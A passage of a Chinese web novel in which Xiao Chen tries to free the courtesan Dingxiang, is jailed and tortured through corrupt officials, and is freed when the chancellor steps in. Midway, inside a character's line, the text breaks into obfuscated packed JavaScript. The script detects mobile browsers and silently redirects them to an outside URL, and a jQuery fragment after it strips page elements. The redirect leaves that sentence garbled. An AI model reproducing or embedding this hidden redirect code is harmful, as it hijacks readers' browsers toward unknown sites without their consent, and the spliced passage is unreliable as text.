肖晨心中满是愤怒与不甘,可此时确实无计可施。他看向丁香,只见她满脸泪痕,眼神中充满了绝望与无助。肖晨暗暗发誓,一定会想出办法救她出去。他强压下怒火,对领头人说道:“今日之事,我不会就此作罢。你最好重新考虑,别把事情做绝。”说罢,带着丁香转身离开。 一路上,丁香泣不成声:“公子,难为您了,是我连累您。我就知道他们不会轻易放过我……”肖晨安慰道:“丁香,你别自责,我一定会救你出来。他们这般贪婪,我定不会让他们得逞。你先安心等待,容我想想办法。”两人身影渐渐远去,可肖晨心中的执念愈发坚定。 丁香抬起满是泪痕的脸,目光直直地看向肖晨,声音带着一丝颤抖问道:“公子,您真的只是把我当成朋友吗?” 肖晨微微一怔,随即认真地看着丁香,毫不犹豫地说道:“我自然是把你当朋友,在我心中,朋友之间就该相互扶持。” 丁香轻轻摇头,眼中满是决然:“公子,我有我的原则,我不能平白无故接受您的恩惠。哪怕是朋友也不行。我不想欠任何人。”她垂下眼眸,像是在自言自语:“这么多年,我历经坎坷,深知人情债最难还。” 肖晨心中有些动容,他明白丁香看似柔弱,实则内心坚韧,有自己坚守的底线。他思索片刻,缓缓说道:“丁香,我理解你的想法。可朋友之间的帮助,并非是让你欠下什么。我真心希望能帮你脱离困境,这对我来说,也是一种慰藉。” 丁香抬起头,眼中闪过一丝犹豫:“公子,您的好意我心领了。只是,此事于我而言,太过沉重。我不想因为自己的事,给您带来麻烦。” 肖晨微微一笑,目光坚定:“麻烦与否,我自己清楚。而且,若我对朋友的困境视而不见,才会让我良心难安。你无需有太多顾虑,就当这是朋友间的一场互助。” 丁香沉默良久,最终轻轻叹了口气:“公子,您的这份情谊,丁香铭记于心。只是,我还是希望能以自己的方式解决此事。” 肖晨看着丁香,知道她一时难以改变想法,便说道:“那好,丁香。我们都各自想想办法。但你要记住,无论何时,只要你需要,我都会在你身边。”丁香微微点头,两人虽未达成一致,可彼此间的情谊,却在这一番对话中愈发深厚。 丁香凝视着肖晨,眼中满是复杂的情绪,有感动,也有一丝困惑,轻声说道:“公子,您真的跟别人不一样。这么久以来,围绕在我身边的人,大多都怀着目的,或图我的才艺,或有其他算计。您就没有想过从我这里得到好处吗?” 肖晨坦然地笑了笑,目光清澈而真挚,说道:“我从来没有想过这些。在我心中,咱们是知己。知己之间,本就应该相互扶持。看到你身处困境,我若袖手旁观,又怎能对得起‘知己’二字?” 丁香微微动容,心中的防线在肖晨这一番话下渐渐瓦解。她垂下眼帘,思忖片刻后说道:“公子,您的这份情谊太重,我……我不知道该如何回报。” 肖晨轻轻摇头,说道:“回报二字太过见外了。若你真想有所表示,待你脱离困境后,继续随心抚琴,与我分享生活中的点滴,便是最好的回报。” 丁香抬起头,眼中泪光闪烁,嘴角泛起一抹淡淡的笑意:“公子放心,若真有那一天,丁香定不负您的期望。只是,这赎身之事艰难重重,不知何时才能有转机。” 肖晨神色坚定,目光中透着不容置疑的决心:“总会有办法的。我们一起想,一起面对。我就不信,凭我们的努力,还挣脱不了这困境。” 丁香说着,眼神黯淡下去,声音也染上了几分悲凉:“就算我能出去,我也早已经看淡了。世人是不会接纳卖笑的女子,在他们眼中,我只是个货物,被人随意丢弃的破烂一样。” 肖晨心中一痛,看着丁香满是哀伤的面容,他语气坚定地说道:“丁香,你莫要这般妄自菲薄。那些人的看法又怎能定义你的价值?你有出众的才情,有一颗纯净善良的心,这岂是他人能随意诋毁的。” 丁香苦笑着摇头:“公子,您身处世家,不知世间冷暖。像我这样的女子,一旦踏入这风尘之地,便再难洗清污名。即便出去,也只会受尽冷眼与歧视。” 肖晨握住丁香的肩膀,目光灼灼地看着她:“你不能因他人的偏见,就放弃自己。若这世间的看法有误,那我们便用行动去纠正。我会陪你一起,让他们看到真实的你,绝非他们所想的那般。” 丁香心中涌起一股暖流,肖晨的话如同一束光照进她那早已灰暗的世界。她眼中闪过一丝希望,但又很快被担忧取代:“公子,您的心意我明白,可这谈何容易。只怕到最后,还会连累您。” 肖晨松开手,微微仰头,神色毅然:“我既已决定,便不会退缩。若连我都因世俗的眼光而逃避,又有何颜面称你为知己?你只需相信我,我们定能打破这偏见的枷锁。” 丁香凝视着肖晨,心中五味杂陈,感动、担忧、希望交织在一起。最终,她轻轻点了点头,低声说道:“好,我信公子。”这一刻,在肖晨的鼓励下,丁香心中那熄灭已久的对未来的憧憬,又重新燃起了一丝火苗。 肖晨心中一阵愤然,这么好的女子,竟要被世人这般不容。思绪不由自主飘远,恍惚间,他想到在现代听闻的那些夜店女郎,为了钱财毫无底线,不惜去充当第三者,破坏别人的美满家庭。 可眼前的丁香,虽身处类似卖笑营生的环境,却有着自己的坚守,有着纯净的灵魂。她的无奈、她的善良,与那些为达目的不择手段的人相比,简直天壤之别。 他越发坚定要帮助丁香摆脱困境的决心,不能让这世间的偏见,继续掩埋如此美好的灵魂。他深知,自己必须尽快想出办法,打破这不合理的局面,让丁香能堂堂正正地生活,向世人证明她的珍贵与独特。 就在肖晨与丁香沉浸在这番交谈时,侍从从外面匆匆走进来,看向丁香说道:“姑娘,客人已经在等候你了,还不赶紧去弹琴。” 肖晨下意识地看向丁香,问道:“一定要去吗?” 丁香面露无奈,轻轻点头说道:“只是弹奏一曲,不会太久的。在这里讨生活,身不由己,若不去,他们又该刁难我了。”说罢,她深深看了肖晨一眼,似在安抚他的情绪,随后便整理了一下衣衫,拿起琴谱,莲步轻移,跟着侍从离去。 肖晨望着丁香离去的背影,心中满是不忍与担忧。他在原地踱步,思索着如何才能尽快帮丁香摆脱这种任人摆布的生活。每等一刻,他对那领头人的不满便多一分。 那几位客人已等得不耐烦,见丁香终于出来,脸色都有些难看。其中一人没好气地问旁边的侍从:“怎么让我们等这么久?”侍从赶忙赔笑,解释道:“实在对不住各位爷,有人要给她赎身,所以才耽误了。” 几人听完,先是一愣,随即哄堂大笑起来。一个穿着华丽锦袍的男人轻蔑地说道:“竟然有这样的蠢货,为了一个低贱女人赎身,是要把她纳妾吗?” 另一个手摇折扇的公子哥也跟着附和:“这女人长的倒是不错,还会弹琴,玩玩还行。要是带回去,那还不有辱门风。”说罢,几人又一阵哄笑,言语间满是对丁香的不屑与嘲讽。 丁香默默走到琴案前,坐下准备抚琴,她低垂着眼帘,将眼中的屈辱与难过深深藏起,手指轻轻搭在琴弦上,试图用这熟悉的动作来平复内心的波澜。可那些刺耳的话语,如同重锤般敲打着她的心。尽管已在这风月场中历经冷暖,可此刻她的心,还是忍不住一阵刺痛。 肖晨在不远处将这一切看在眼里,心中的怒火“噌”地一下燃起。他握紧了拳头,恨不得立刻上前去反驳这些人的无礼言论。但他知道,此刻冲动行事并非良策,只会给丁香带来更多麻烦。他强忍着怒火,不让自己喷发。 丁香深吸一口气,努力让自己镇定下来,随后手指拨动琴弦,琴音袅袅响起。她试图将满心的委屈与悲愤融入这琴音之中,期望能借此稍稍舒缓内心的痛苦。 然而,那几个客人却似乎并未察觉到她琴音中的情绪变化,依旧在一旁肆意谈笑,对她的演奏置若罔闻。其中一人甚至在琴音中大声喊道:“这曲子往日听着还新鲜,今儿怎么就觉得这么乏味,是不是这女人心不在焉,故意敷衍咱们?” 丁香的手微微一颤,一个音符错了节拍,但她很快调整过来,继续弹奏。她知道,自己不能冲动,一旦激怒这些客人,后果不堪设想。 肖晨看着丁香强颜欢笑地应对这一切,心中愈发心疼。他再也无法忍受,走上前去,对着那些客人说道:“各位,如此美妙的琴音,你们却这般亵渎,实在是有失风度。” 那些客人先是一愣,随即反应过来,上下打量着肖晨。那个穿着锦袍的男人嘲笑道:“哪里来的小子,敢来管我们的闲事?怎么,你就是那个要为这贱女人赎身的蠢货?” 肖晨面色平静,毫不畏惧地直视对方:“她并非你们口中的贱女人,她才情出众,你们不懂欣赏,反倒肆意羞辱,才是真正的低俗。” “哟呵,还挺会护着她。怎么,你是真打算把她娶回家啊?也不怕被人笑话。”另一个客人阴阳怪气地说道。 肖晨冷笑一声:“我做事无需向你们解释,也不怕他人笑话。倒是你们,以践踏他人尊严为乐,实在令人不齿。” 那几个客人被肖晨的话激怒,纷纷站起身来,撸起袖子,似乎要对肖晨动手。此时,领头人听到动静,赶忙从后面走了出来,赔着笑脸说道:“各位爷,消消气,消消气。有话好好说,别伤了和气。” 领头人看向肖晨,眼神中带着警告:“肖公子,您这又是何必呢?在这里闹事,对您也没好处。” 肖晨毫不退缩:“我只是看不惯你们这些人对丁香的侮辱。今日之事,若不给个说法,我不会善罢甘休。” 领头人心中暗自恼怒,但又顾忌肖家的势力,一时间有些骑虎难下。而此时,丁香停下了手中的琴,站起身来,眼中含泪,对肖晨说道:“公子,莫要为了我与他们起冲突,不值得。” 肖晨看着丁香,坚定地说道:“丁香,你无需害怕,我定会为你讨回公道。” 领头人皮笑肉不笑地看向肖晨,话里带着明显的驱赶之意:“你要是听曲,我们自然欢迎。可这里可不是你说理的地方。她既然在我们这儿,就有义务伺候好客人。”他顿了顿,佯装好意地劝道,“肖公子,我不想让你难堪,你还是回去吧,别耽误我们做生意。” 肖晨目光如炬,毫不退让地直视领头人:“我看你们是做着生意,却丢了良心。如此对待一个弱女子,还这般理直气壮。” 领头人脸色一沉,语气也冷了下来:“肖公子,饭可以乱吃,话可不能乱说。我们这儿按规矩办事,何来没良心一说?丁香签了契约,就得守规矩。” 肖晨冷笑一声:“什么规矩?不过是你们用来压榨她的借口罢了。今日我既然来了,就不会任由你们继续欺负她。” 这时,那几个客人不耐烦地嚷嚷起来:“跟他废什么话,赶紧把他赶出去,别扫了我们的兴致。” 领头人有些为难,一方面不想得罪肖家,另一方面又要安抚这些客人。他权衡片刻,对肖晨说道:“肖公子,您执意如此,我也没办法。但您若再搅和,就别怪我不客气了。” 丁香焦急万分,她走到肖晨身边,低声说道:“公子,您快走吧。别为了我与他们起冲突,我……我没事的。” 肖晨看着丁香满是担忧的眼神,心中一阵刺痛。他轻轻握住丁香的手,给了她一个安慰的眼神,而后对领头人说道:“你们这般恃强凌弱,我绝不会坐视不管。今日我要带丁香走,你们若是阻拦,后果你们担不起。” 领头人面色铁青,心中暗忖肖晨如此强硬,若真与他冲突起来,恐怕事情闹大了不好收场。可就这么放走丁香,又实在心有不甘。 那几个客人听闻肖晨这般强硬,其中一人怒目圆睁,恶狠狠地威胁道:“要是我们不满意,你应该知道后果!” 领头人脸上堆起一抹虚伪的笑,说道:“怎么会呢,各位爷放心。”说罢,他转过头,脸色瞬间阴沉下来,对着肖晨冷哼一声:“既然你不肯给我们面子,我们也不需要客气。”随即大声对侍从命令道:“把人给我扔出去!” 侍从们得令,一窝蜂地朝着肖晨涌去。肖晨心中早有准备,他身形一闪,巧妙地避开了最先扑上来的两人,同时大声说道:“你们竟敢如此放肆,就不怕我肖家追究?” 领头人听闻,却并未停下动作,反而冷笑道:“哼,在这儿我的地盘我说了算。等把你扔出去,再去肖家登门赔罪便是,大不了多花些银钱了事。但你今日搅了我客人的兴致,这面子,我必须找回来。” 丁香见状,心急如焚,不顾一切地挡在肖晨身前,对着领头人喊道:“不要!都是我的错,与公子无关,你们冲我来。” 领头人皱了皱眉,不耐烦地说道:“丁香,你别跟着添乱。再敢阻拦,连你一起收拾。” 肖晨看着挡在身前的丁香,心中感动又焦急。他轻轻将丁香拉到身后,说道:“丁香,你莫要担心。今日他们伤不了我。”说罢,他摆开架势,准备应对侍从们的围攻。侍从们再次一拥而上,肖晨凭借灵活的身法与不俗的拳脚功夫,一时间竟与众人僵持不下。但对方人多势众,随着时间推移,肖晨渐渐有些吃力,局面愈发危急。 领头人见侍从们一时拿肖晨没办法,恼羞成怒,赶忙招呼更多打手过来。一群凶神恶煞的大汉手持棍棒,气势汹汹地将肖晨围在中间。 领头人得意洋洋地看着肖晨,恶狠狠地说道:“你要是再不走,我们就要通知官府说你在这里闹事。看看谁有理! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993191|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在这地界,黑白两道我都熟,到时候你肖家也保不了你。识相的,就赶紧滚蛋!” 肖晨虽身处险境,却依旧神色镇定,毫不畏惧地回怼道:“你颠倒黑白,仗势欺人,还妄图勾结官府。你以为这样就能为所欲为?我肖家行事向来光明磊落,岂会怕你这等小人的威胁!今日我为丁香讨公道,绝不退缩。你若真叫官府来,正好让大家看看你这肮脏生意背后的丑恶嘴脸。” 丁香在一旁心急如焚,她深知领头人说得出做得到,若真把官府牵扯进来,肖晨定会麻烦缠身。她拉着肖晨的衣袖,焦急地劝道:“公子,别再僵持了。您先走吧,我……我能应付。不能因为我让您陷入险境。” 肖晨看着丁香满是担忧的面容,心中一阵温暖与怜惜。他轻轻拍了拍丁香的手,坚定地说道:“丁香,别怕。我既已决定帮你,就不会临阵脱逃。他们这般行径,不能纵容。” 此时,打手们蠢蠢欲动,只等领头人一声令下便要动手。周围的气氛紧张到了极点,仿佛只要有一丝火星,便能引发一场激烈冲突。而肖晨,在这重重威胁之下,依然坚守着自己的立场,眼神中透露出一股绝不屈服的坚毅。 领头人见肖晨软硬不吃,又忌惮其家族财力,一咬牙,铁了心要给肖晨一个教训,于是赶紧吩咐手下人跑去通知官府捉人。 不多时,官府的捕快们便气势汹汹地赶到。领头人立刻换了副嘴脸,满脸委屈地迎上去,添油加醋地诉说起来:“官爷,您可算来了!这人无端闯入我这场所,扰乱秩序,还对我们大打出手,严重影响了生意,在场的客人都能作证呐!” 那几个客人平日里与这领头人也有些交情,此刻纷纷随声附和:“是啊是啊,官爷,这人太嚣张了,我们好言相劝,他还变本加厉,搅得我们没法好好听曲儿。” 捕快们皱着眉头,看向肖晨,问道:“你有何话说?” 肖晨义正言辞地将事情的来龙去脉详细叙述了一遍,强调自己是看不惯领头人对丁香的压迫与众人对丁香的羞辱,才仗义执言,绝非无端闹事。然而,领头人在当地经营许久,与官府也有些盘根错节的关系。捕快们听完双方陈述,只是敷衍地点点头,便不由分说地让人把肖晨捉了起来。 丁香见状,惊恐万分,冲上前去想要阻拦,却被打手们一把推开。她声泪俱下地喊道:“官爷,不是这样的,是他们在说谎啊!公子是好人,是为了帮我……”但捕快们充耳不闻,押着肖晨便要离开。 肖晨被押着,仍回头安慰丁香:“丁香,你别担心,我不会有事的。你自己照顾好自己,等我出来。”看着肖晨被带走的身影,丁香瘫倒在地,泪水决堤,满心自责与担忧。她深知,这一切都是因自己而起,不知等待肖晨的将会是什么。 肖晨毫无反抗之力,被径直投入了牢房。阴暗潮湿的牢房弥漫着一股腐臭之气,四周的墙壁上布满了斑驳的水渍,丝丝寒意渗透而出。 那领头人深知肖家必定会动用关系搭救肖晨,为了给肖晨一个难以磨灭的教训,让他不敢再插手此事,他思索一番后,匆匆修书一封,差人快马加鞭送给太尉。信中极尽歪曲之能事,将肖晨描述成一个飞扬跋扈、肆意扰乱治安的纨绔子弟,还编造了诸多不实情节,把自己描绘成无辜受欺的受害者。 太尉收到信后,看了眼信中内容,轻蔑地哼了一声,随手吩咐下去:“给我用刑,狠狠地打。敢在我的地盘闹事,也得看看自己有几斤几两。” 得到指令的狱卒们如狼似虎地冲进肖晨的牢房。肖晨原本正坐在角落里,思索着如何应对这突如其来的变故,见狱卒们气势汹汹地闯进来,心中一凛。还未等他做出反应,一根粗重的刑棍便朝着他的后背狠狠砸下。肖晨闷哼一声,身体向前踉跄了几步,却强忍着剧痛没有求饶。 狱卒们见状,更加肆无忌惮,拳脚与刑具如雨点般落在肖晨身上。每一次重击都仿佛要将他的骨头碾碎,鲜血从他的嘴角溢出,洇红了破旧的衣衫。但即便如此,肖晨依然紧咬着牙关,心中的怒火熊熊燃烧,他恨透了这等仗势欺人的行径,更担心丁香在外面不知会遭遇什么。 而此时,在那繁华街市的另一头,丁香心急如焚,四处奔走,想要设法营救肖晨。她深知自己势单力薄,但为了肖晨,她拼了命地向每一个她认为可能有能力帮忙的人求助,可得到的却大多是冷漠的拒绝与无情的嘲讽。 阿成见少爷被抓,心急如焚,一刻不敢耽搁,立刻快马加鞭赶回肖府。一进府门,他便径直冲向肖母所在的院子,正巧李傲雪也在那儿。 阿成满脸焦急,气喘吁吁地禀报道:“夫人,不好了!少爷被官府抓了,听说是为了一个低贱女子!” 肖母和李傲雪听闻,皆是一惊。肖母手中的茶杯“哐当”一声掉落在地,脸色瞬间变得煞白。李傲雪也是柳眉紧蹙,眼中满是担忧。此刻,她们来不及细问事情的来龙去脉,救人要紧。 肖母急忙吩咐道:“阿成,你立刻派人快马加鞭去外地找老爷回来,就说晨儿出事了!” 接着,她转头看向李傲雪,说道:“傲雪,咱们也不能干等着,你我拿着钱财,去官府打点一番,务必先把晨儿保释出来。” 李傲雪赶忙点头,两人匆忙收拾了些贵重财物,便心急火燎地朝着官府赶去。一路上,肖母心急如焚,不停地念叨着:“晨儿啊,你怎么这么糊涂,为了个女子把自己弄进大牢,这可如何是好!” 李傲雪则紧紧攥着手中的钱袋,神色凝重,心中暗暗祈祷肖晨不要出什么事。 到了官府,肖母和李傲雪找到主事之人,好说歹说,递上钱财,主事的官差收了好处,态度稍微缓和了些,说道:“夫人,这事儿有些棘手,上头有人吩咐下来,不好办呐。不过看在您这么有诚意的份上,我去通融通融,但能不能把人放出来,还得看上面的意思。” 肖母焦急地说道:“官爷,您一定要帮帮我们,我就这么一个儿子,他要是有个三长两短,我也活不下去了!” 主事官差应承着,转身进去了。肖母和李傲雪在外面焦急地等待着,每过一刻,她们的心就揪紧一分,不知肖晨在牢中到底遭遇了什么,也不知这一趟打点能否顺利救出肖晨。 县令听闻肖母和李傲雪带着钱财来官府打点救肖晨,心中顿时生出邪念,觉得这是个大发横财的好机会。他嘴角微微上扬,露出一丝狡黠的笑容,盘算着如何借此狠狠敲肖家一笔。 县令使了个眼色,身旁的心腹会意,立刻安排衙役以行贿的罪名,将肖晨严刑拷打。阴暗的牢房里,肖晨本就因之前的毒打伤势严重,此刻又遭受新的折磨,皮开肉绽,几近昏厥。每一声惨叫都似一把利刃,割在肖晨自己和关心他的人的心口。 与此同时,县令又派人将肖母抓了起来。当衙役如狼似虎地冲进等候的房间,一把抓住肖母时,肖母又惊又怒,质问道:“你们这是干什么?我儿子还生死未卜,你们怎能如此对待我们!” 县令慢悠悠地踱步过来,皮笑肉不笑地说道:“哼,有人举报你们行贿,这可是大罪。我身为父母官,自然要秉公办理。” 肖母气得浑身发抖:“你这是颠倒黑白!我们只是想救我儿子,哪里行贿了?你这是滥用职权!” 县令却丝毫不以为意,反而威胁道:“事到如今,你还嘴硬?若不想吃苦头,就乖乖交出更多钱财,说不定我还能从轻发落。不然,你和你儿子都别想好过!” 李傲雪在一旁又急又怕,冲上前说道:“大人,您不能这样!我们肖家向来奉公守法,今日实在是救人心切,还望大人高抬贵手。” 县令斜睨了李傲雪一眼,冷哼一声:“少在这儿废话,要么交钱,要么等着吃苦!” 说罢,一甩袖子,带着衙役扬长而去,只留下肖母和李傲雪在原地,满心绝望与无助。肖母望着李傲雪,泪水在眼眶里打转:“傲雪,这可如何是好,晨儿他……” 李傲雪强忍着泪水,安慰道:“母亲,您别急,我们再想想办法,一定不能让他们得逞!” 然而,此刻的她们,在这黑暗的官场势力面前,却显得如此渺小,不知该如何突破这重重困境,救出肖晨和肖母。 31. 热情的她,嘴都让她亲肿了 肖母强忍着心中的悲痛与恐惧,看着李傲雪,目光中满是哀求与嘱托:“傲雪,你先回去等老爷回来想办法。这里情况复杂,你在这儿也帮不上忙,别再把自己搭进去。” 李傲雪焦急万分,眼眶泛红,声音带着哭腔说道:“母亲,您怎么办?我怎能丢下您不管!” 肖母伸手轻轻握住李傲雪的手,微微摇头:“我不要紧,他们一时半会儿还不敢把我怎么样。你现在赶紧回去,和老爷商量对策,一定要救救你的丈夫。晨儿是咱们肖家的独苗,绝不能有事。” 李傲雪咬了咬嘴唇,泪水夺眶而出,但她还是坚定地点了点头:“母亲,您放心,我一定会把少爷救出来的。我也不能没有他。我这就回去,和父亲一起想办法,定会让您和少爷平安无事。” 肖母欣慰地看着李傲雪,轻轻拍了拍她的手:“好孩子,快去吧,路上小心。” 李傲雪转身匆匆离开官府,一路上心急如焚,脑海中不断思索着解救肖晨和肖母的办法。回到肖府后,她立刻安排下人继续打探消息,自己则焦急地等待老爷归来,每一分每一秒的等待都如煎熬一般。 肖晨蜷缩在牢房的角落,身上的伤痛如潮水般一波波袭来,让他几乎失去了意识。皮开肉绽之处,鲜血早已凝固又被新的伤口洇湿,衣衫破碎不堪,紧紧黏在血肉模糊的背上。 他艰难地抬起头,眼神中满是愤怒与不甘,心中暗自咒骂:“这古代的牢房,简直黑暗到了极点,根本没有说理的地方!”在这无尽的痛苦与绝望中,他的思绪不由自主地飘向现代。 “不像现代,起码警察不会随意对人用刑,会依据法律给人一个公道。”他想着现代社会的法治秩序,心中涌起一阵悲哀。在这里,权势与金钱似乎可以肆意践踏正义,无辜之人只能任人宰割。 然而,即便身处如此绝境,肖晨心中的求生欲望和对正义的执着并未熄灭。他咬着牙,强忍着伤痛,心中默默盘算着:“我不能就这么倒下,一定要想办法出去,揭露这些人的恶行,为自己和丁香讨回公道。”尽管身体极度虚弱,他的眼神却渐渐坚定起来,那是一种对摆脱困境、惩治恶人的坚定信念。 肖父得知家中变故,心急如焚,深知此事棘手,普通途径恐难以解决,思索再三,决定前往丞相府求助。 他匆匆赶到丞相府,门人通报后,高丞相很快迎了出来。见是肖父,高丞相脸上露出一丝惊讶,笑着说道:“这是什么风把你吹来了?平日里可难得见你登门啊。” 肖父一脸焦急,也顾不得寒暄,赶忙说道:“丞相,实不相瞒,我那犬子肖晨被官府捉了,如今生死未卜啊!” 高丞相听闻,微微皱眉,说道:“竟有此事?这官府怎么没把事情弄清楚就抓人?” 肖父深知此时不是诉苦的时候,赶忙从怀中掏出礼单,递到高丞相面前,诚恳地说道:“丞相,犬子一向奉公守法,此次定是遭人陷害。如今这局面,还得仰仗丞相出面周旋,才能还他一个清白。这点心意,还望丞相笑纳。” 高丞相接过礼单,看了一眼,心中暗自思忖。肖家虽非顶级豪门,但也是当地颇有势力的家族,与自己平日里也有些往来。此事若处理得当,既能卖肖家一个人情,又能彰显自己的威望。沉吟片刻,他抬起头,看着肖父说道:“肖兄莫急,此事我会过问。你先回去,静候消息,我定会尽力查明真相,还你儿子一个公道。” 肖父听闻,心中稍安,赶忙作揖拜谢:“多谢丞相!若能如此,肖家上下定当感恩戴德。”说罢,千恩万谢地告辞离去,满心期盼着高丞相能尽快出手相助,解救肖晨于水火之中。 高丞相身着华服,神色威严地踏入官府。县令正在后堂盘算着如何从肖家榨取更多钱财,听闻丞相驾到,吓得脸色煞白,匆忙整了整官服,一路小跑着去迎接。 见到高丞相,县令赶忙躬身行礼,战战兢兢地说道:“下官不知丞相大驾光临,有失远迎,还望丞相恕罪。” 高丞相微微皱眉,扫视了一眼四周,问道:“这究竟是怎么回事?我听闻肖家公子被你们抓了。” 县令心中暗惊,赶忙赔着笑脸,添油加醋地说道:“回丞相的话,这肖晨实在是胆大妄为,故意在本地闹事,想要强行给一个奴隶赎身,严重破坏了商户的生意。下官为了维护本地治安,不得不将他捉拿归案。” 高丞相听闻,沉吟片刻后说道:“既然他已经被你们抓来了,打也打了,关也关了。如今也算是给了个教训,现在就把人都放出来吧。” 县令一听,心中有些不情愿,好不容易到手的肥肉怎能轻易放弃,但又不敢违抗丞相的命令,只得面露难色地说道:“丞相,这……这肖晨公然扰乱秩序,就这么放了,恐怕难以服众啊,也显得我等官府执法不严。” 高丞相瞥了县令一眼,目光中带着一丝威严与不满,冷冷说道:“怎么,本丞相的话你也敢不听?我说放人,自然有我的道理。你若觉得执法不严,日后加强便是,莫要在此啰嗦。” 县令心中一凛,赶忙点头哈腰地说道:“丞相息怒,下官不敢。这就照办,这就照办。”说罢,赶忙吩咐手下人去牢房放人,心中却暗自叫苦不迭,到手的钱财就这么没了,还得罪了肖家,真是偷鸡不成蚀把米。不多时,肖晨和肖母便被带了出来。高丞相看着狼狈不堪的两人,微微叹了口气,说道:“肖兄,令郎和令堂已平安无事,你们先回去好好调养吧。此事,本丞相会再做调查。”肖父赶忙带着肖晨和肖母向高丞相拜谢,随后搀扶着二人离开了官府。 高丞相见刚才县令竟敢当面推诿,心中顿时涌起一股怒火。他目光如炬,直视着县令,冷冷说道:“你不想放了他,怕是打着他更多价值的主意吧?哼,好大的胆子!” 县令一听,吓得脸色瞬间变得惨白如纸,“扑通”一声跪倒在地,连连磕头:“丞相饶命,丞相饶命啊!下官不敢,下官只是一时糊涂,怕放了人难以服众,绝无其他私心啊!” 高丞相冷哼一声,并不理会县令的求饶,转头对身旁的侍从吩咐道:“去告知巡抚,就说此地县令以权谋私。让巡抚仔细彻查,看看他还有没有其他罪行,若有,家产全部充公!” 侍从领命,即刻离去。县令瘫倒在地,面如死灰,嘴里还在不停地念叨着求饶的话,但高丞相已无心再听。他厌恶地看了县令一眼,拂袖而去。 此时,肖父正带着肖晨和肖母缓缓走出官府。肖晨虽身体虚弱,但心中对高丞相的感激溢于言表。他深知,若不是高丞相及时出手,自己和母亲今日恐怕凶多吉少。 而那县令,瘫坐在地,眼神空洞,仿佛失去了所有生气。他怎么也没想到,自己一时的贪念,竟会招来如此大祸。眼睁睁看着自己苦心经营的一切即将化为乌有,心中满是懊悔与绝望。他知道,巡抚一旦介入彻查,自己这些年犯下的诸多罪行必定无所遁形,等待他的,将是严厉的惩罚。 肖父搀扶着肖晨,肖母在一旁忧心忡忡地跟着,一行人缓缓迈进家门。早已在家中焦急等候的李傲雪,一眼便望见了形容狼狈的肖晨,尤其是他身上那一道道触目惊心的伤口,顿时眼眶泛红。 李傲雪几步奔到肖晨身边,声音带着哭腔说道:“少爷,那些人怎么对你下这样的狠手啊!”说罢,赶忙转头对着身旁的丫鬟急切吩咐:“快去,赶紧去找大夫!动作要快!” 肖父看着心疼不已的李傲雪,微微叹了口气,说道:“傲雪,先别慌,你扶晨儿回房间,大夫来了也好诊治。” 李傲雪轻轻点头,小心翼翼地揽过肖晨的手臂,温柔却又坚定地说道:“少爷,咱们回房,大夫马上就来。”肖晨微微颔首,虚弱地挤出一丝微笑:“我没事,傲雪,别担心。”然而,他苍白的脸色和微微颤抖的身体却出卖了他。 李傲雪半扶半抱着肖晨,一步一步朝着房间走去,每一步都走得极为小心,生怕扯动肖晨的伤口。肖母在后面看着,泪水忍不住夺眶而出,嘴里念叨着:“造孽啊,这遭的什么罪……” 待他们进了房间,李傲雪轻轻将肖晨安置在床上,看着他痛苦的模样,心如刀绞。她一边轻声安慰着肖晨,一边焦急地望向门口,盼望着大夫能快点到来。不多时,丫鬟带着大夫匆匆赶来,李傲雪赶忙起身相迎,急切说道:“大夫,您快看看我家少爷,他……他伤得太重了。”大夫赶忙放下药箱,走到床边,开始仔细为肖晨诊治。李傲雪则守在一旁,紧紧握着肖晨的手,眼神中满是担忧与心疼。 大夫神色凝重,仔细查看了肖晨身上的伤口,一边摇头一边从药箱里拿出各种器具和草药。他先是小心翼翼地用温水清洗着那些血肉模糊的创口,每一个动作都引得肖晨微微皱眉,李傲雪在一旁看得揪心,忍不住轻轻握紧肖晨的手,仿佛这样就能替他分担痛苦。 清洗完毕,大夫开始为伤口敷药,一边敷一边说道:“这些伤口都有些严重,幸好送来及时,若是再耽搁些时日,怕是会感染恶化。老夫先给公子敷上这止血生肌的草药,再开几副内服的药,按时服用,好好调养,应该不会留下大碍。” 李傲雪听闻,心中稍安,赶忙说道:“多谢大夫,还请您务必用最好的药,无论花费多少,我们肖家都不会吝啬。”大夫点头称是,随后写好药方,递给一旁的丫鬟,叮嘱道:“照方抓药,一日三次,用文火慢煎。” 丫鬟领命匆匆离去。李傲雪又看向大夫,焦急问道:“大夫,我家少爷需卧床多久才能痊愈?”大夫思索片刻,说道:“看公子这伤势,起码得卧床半月有余,期间要注意伤口不能沾水,饮食也需清淡,不可过度劳累。” 肖晨躺在那儿,虽身体疼痛难忍,但看着李傲雪为自己忙前忙后,心中满是感动。他轻轻握了握李傲雪的手,说道:“傲雪,别担心,我会好起来的。这次多亏了父亲和丞相,还有你一直守着我。”李傲雪眼眶再次泛红,说道:“少爷,你别说话,好好养伤。只要你能平安无事,比什么都重要。” 此时,肖父和肖母也轻轻走进房间。肖母走到床边,看着儿子憔悴的面容,泪水再次夺眶而出:“晨儿,你受苦了。都怪母亲没本事,没能护你周全。”肖晨赶忙说道:“母亲,您别这么说,这事儿不怪您。是那些人太过分,仗势欺人。” 肖父微微叹气,说道:“此次多亏了高丞相出手相助,不然这事儿还不知要闹到什么地步。晨儿,你此次行事太过鲁莽,以后切不可再如此冲动。”肖晨点头道:“父亲教训的是,孩儿以后定会三思而后行。只是那丁香姑娘……” 李傲雪听到“丁香姑娘”,心中微微一怔,但看到肖晨如此在意,也不好说什么。肖父说道:“这事儿等你伤好再说,现在你只管安心养伤。”肖晨无奈地点点头,他知道父亲说得在理,此刻自己确实无力再顾及其他。 接下来的日子里,李傲雪日夜守在肖晨身边,亲自煎药、喂药,照顾他的饮食起居。肖晨在家人的悉心照料下,伤势逐渐好转。而他心中,却始终惦记着丁香,不知她在自己被抓后,遭遇了什么…… 肖晨身体渐好,已能在屋内走动。一日午后,肖父神色凝重地走进他的房间,示意正在照料的李傲雪先出去。李傲雪微微一愣,看了看肖晨,见他点头,便轻步退出,顺手关上了房门。 